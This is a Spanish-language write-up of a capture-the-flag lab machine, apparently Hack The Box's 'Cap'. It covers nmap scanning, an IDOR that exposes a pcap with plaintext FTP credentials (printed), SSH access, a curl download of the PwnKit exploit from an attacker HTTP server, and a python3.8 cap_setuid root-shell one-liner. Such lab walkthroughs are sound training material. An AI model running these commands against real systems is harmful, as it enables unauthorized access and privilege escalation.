Enumeración inicial

Reconocimiento con nmap

Para obtener una vista rápida de los puertos abiertos y la versión de los servicios activos en la máquina objetivo, se ejecutamos un escaneo inicial con nmap:

sudo nmap -F -sV -n -Pn 10.129.63.176

Cap: resultados nmap

Del escaneo realizado se identificaron tres servicios activos: un servidor FTP ejecutando vsFTPd 3.0.3 en el puerto 21, el servicio SSH gestionado por OpenSSH 8.2p1 en el puerto 22 y una aplicación web servida mediante Gunicorn a través del puerto 80 (HTTP).

Análisis del servicio FTP

Tras revisar la versión reportada (vsFTPd 3.0.3), se verificó que no existen vulnerabilidades públicas de ejecución remota de código (RCE) asociadas a esta versión concreta.

A continuación, se intentó realizar una autenticación anónima utilizando las credenciales habituales (anonymous / ftp), pero el servidor rechazó la conexión.

Análisis del sitio web

Al acceder al servicio web (http://10.129.63.176/), visualizamos un panel de control (dashboard) al que se tiene acceso directo sin necesidad de autenticación previa. En la interfaz se indica que se está interactuando como el usuario Nathan.

Cap: HTTP Dashboard

Al explorar el menú lateral desplegable (ubicado en la esquina superior izquierda), identificamos las siguientes funcionalidades:

  • Security Snapshot (/capture): Genera una captura de tráfico de 5 segundos y redirige a la ruta /data/<id> (en este caso, /data/2).
  • IP Config (/ip): Muestra la configuración de las interfaces de red del servidor.
  • Network Status (/netstat): Muestra las conexiones activas y puertos en escucha del sistema.

Explotación de IDOR (Insecure Direct Object Reference)

Al analizar la estructura de la URL generada por Security Snapshot (http://10.129.63.176/data/2), identificamos que el parámetro numérico final hace referencia directa al ID de la captura en el servidor.

Probando una manipulación secuencial de este identificador (vulnerabilidad IDOR), se observó que al ingresar el valor 0 en la ruta (http://10.129.63.176/data/0), el sistema cargó una captura de red previa que contenía datos registrados.

Cap: HTTP Dashboard data

Al hacer clic en el botón “Download”, se procede a descargar el archivo de tráfico denominado 0.pcap para su posterior análisis local.

El archivo .pcap

Un archivo PCAP (Packet Capture) es un formato de almacenamiento que contiene paquetes de datos capturados de una red para su posterior análisis y diagnóstico.

Al observar el tráfico del protocolo FTP en el archivo 0.pcap utilizando Wireshark, identificamos a secuencia de autenticación del usuario nathan, revelando sus credenciales de acceso:

Usuario: nathan
Contraseña: Buck3tH4TF0RM3!

Archivo pcap con credenciales FTP

Inspeccionando más a fondo las peticiones dentro de la misma captura, se observa que el usuario intentó consultar o descargar un archivo denominado “notes.txt” , aunque la solicitud fue rechazada por el servidor con una respuesta de error 500.

Conexión por SSH

Si las credenciales son validas para el FTP. Pueden serlo para otros servicios.

Conectamos por SSH al servidor:

ssh nathan@10.129.63.176

Flag del usuario

Enumeración de permisos y binarios SUID

Una de las primeras comprobaciones al obtener acceso inicial a la máquina es buscar archivos con el bit SUID (4000) activado, los cuales se ejecutan con los privilegios del propietario del archivo (usualmente root):

find / -perm -4000 -type f 2>/dev/null 

Permisos SUID inseguros

Entre los resultados se encuentra el binario pkexec, perteneciente a PolicyKit. Este binario es conocido por la vulnerabilidad PwnKit (CVE-2021-4034), un fallo de escalada de privilegios que afectó por defecto a la mayoría de las distribuciones Linux hasta la publicación de su parche en enero de 2022.

Para comprobar si la versión instalada en la máquina es vulnerable, verificamos sus permisos en el sistema y la versión del paquete policykit-1:

ls -la $(which pkexec)
dpkg -l policykit-1

Validación de pkexec

Confirmamos que el binario mantiene activo el bit SUID y que la versión instalada corresponde a la 0.105-26ubuntu1, la cual no incluye el parche de seguridad y confirma la vulnerabilidad del sistema ante este vector.

Escalada de privilegios con pkexec

Descargamos el exploit PwnKit CVE-2021-4034 en nuestra máquina local y, posteriormente, lo alojamos mediante un servidor HTTP en Python para proceder a su transferencia.

curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
python3 -m http.server 4040

Descarga PwnKit

Desde la máquina víctima, descargamos el exploit y lo ejecutamos para obtener una shell con privilegios de root.

curl -O http://10.10.15.156:4040/PwnKit
chmod +x PwnKit
./PwnKit

Root PwnKit

Existe otra via de escada de prilegios que vamso a ver a continuación.

Enumerar las capacidades asignadas a los binarios

Observamos que el intérprete de Python (/usr/bin/python3.8) tiene asignada la capacidad cap_setuid, lo que le permite cambiar el UID del proceso a 0 (root).

getcap -r / 2>/dev/null

Capacidades asignadas a los binarios

Explotación de python3.8 con capacidad cap_setuid

Ejecutamos un comando en Python para forzar el cambio de identidad a root y desplegar una consola interactiva:

python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Root python3.8 con capacidad cap_setuid+ep